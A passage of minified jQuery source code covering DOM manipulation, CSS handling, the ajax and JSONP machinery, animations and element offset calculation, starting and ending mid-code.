a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(;d<e;d++)c=this[d]||{},c.nodeType===1&&(f.cleanData(c.getElementsByTagName("*")),c.innerHTML=a);c=0}catch(g){}}c&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!="string"&&(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof j=="string"&&bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,function(a,b){b.src?f.ajax({type:"GET",global:!1,url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)})}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h<i;h++){var j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1></$2>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]==="<table>"&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i<u;i++)bn(l[i]);else bn(l);l.nodeType?j.push(l):j=f.merge(j,l)}if(d){g=function(a){return!a.type||be.test(a.type)};for(k=0;j[k];k++){h=j[k];if(e&&f.nodeName(h,"script")&&(!h.type||be.test(h.type)))e.push(h.parentNode?h.parentNode.removeChild(h):h);else{if(h.nodeType===1){var v=f.grep(h.getElementsByTagName("script"),g);j.splice.apply(j,[k+1,0].concat(v))}d.appendChild(h)}}}return j},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete d[c]}}}});var bp=/alpha\([^)]*\)/i,bq=/opacity=([^)]*)/,br=/([A-Z]|^ms)/g,bs=/^[\-+]?(?:\d*\.)?\d+$/i,bt=/^-?(?:\d*\.)?\d+(?!px)[^\d\s]+$/i,bu=/^([\-+])=([\-+.\de]+)/,bv=/^margin/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Top","Right","Bottom","Left"],by,bz,bA;f.fn.css=function(a,c){return f.access(this,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)},a,c,arguments.length>1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),(e===""&&f.css(d,"display")==="none"||!f.contains(d.ownerDocument.documentElement,d))&&f._data(d,"olddisplay",cu(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(ct("hide",3),a,b,c);var d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(ct("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o,p,q;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]);if((k=f.cssHooks[g])&&"expand"in k){l=k.expand(a[g]),delete a[g];for(i in l)i in a||(a[i]=l[i])}}for(g in a){h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cu(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cm.test(h)?(q=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),q?(f._data(this,"toggle"+i,q==="show"?"hide":"show"),j[q]()):j[h]()):(m=cn.exec(h),n=j.cur(),m?(o=parseFloat(m[2]),p=m[3]||(f.cssNumber[i]?"":"px"),p!=="px"&&(f.style(this,i,(o||1)+p),n=(o||1)/j.cur()*n,f.style(this,i,n+p)),m[1]&&(o=(m[1]==="-="?-1:1)*o+n),j.custom(n,o,p)):j.custom(n,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:ct("show",1),slideUp:ct("hide",1),slideToggle:ct("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a){return a},swing:function(a){return-Math.cos(a*Math.PI)/2+.5}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cq||cr(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){f._data(e.elem,"fxshow"+e.prop)===b&&(e.options.hide?f._data(e.elem,"fxshow"+e.prop,e.start):e.options.show&&f._data(e.elem,"fxshow"+e.prop,e.end))},h()&&f.timers.push(h)&&!co&&(co=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cq||cr(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(co),co=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(cp.concat.apply([],cp),function(a,b){b.indexOf("margin")&&(f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)})}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cv,cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?cv=function(a,b,c,d){try{d=a.getBoundingClientRect()}catch(e){}if(!d||!f.contains(c,a))return d?{top:d.top,left:d.left}:{top:0,left:0};var g=b.body,h=cy(b),i=c.clientTop||g.clientTop||0,j=c.clientLeft||g.clientLeft||0,k=h.pageYOffset||f.support.boxModel&&c.scrollTop||g.scrollTop,l=h.pageXOffset||f.support.boxModel&&c.scrollLeft||g.scrollLeft,m=d.top+k-i,n=d.left+l-j;return{top:m,left:n}}:cv=function(a,b,c){var d,e=a.offsetParent,g=a,h=b.body,i=b.defaultView,j=i?i.getComputedStyle(a,null):a.currentStyle,k=a.offsetTop,l=a.offsetLeft;while((a=a.parentNode)&&a!==h&&a!==c){if(f.support.fixedPosition&&j.position==="fixed")break;d=i?i.getComputedStyle(a,null):a.currentStyle,k-=a.scrollTop,l-=a.scrollLeft,a===e&&(k+=a.offsetTop,l+=a.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(a.nodeName))&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),g=e,e=a.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&d.overflow!=="visible"&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),j=d}if(j.position==="relative"||j.position==="static")k+=h.offsetTop,l+=h.offsetLeft;f.support.fixedPosition&&j.position==="fixed"&&(k+=Math.max(c.scrollTop,h.scrollTop),l+=Math.max(c.scrollLeft,h.scrollLeft));return{top:k,left:l}},f.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){f.offset.setOffset(this,a,b)});var c=this[0],d=c&&c.ownerDocument;if(!d)return null;if(c===d.body)return f.offset.bodyOffset(c);return cv(c,d,d.documentElement)},f.offset={bodyOffset:function(a){var 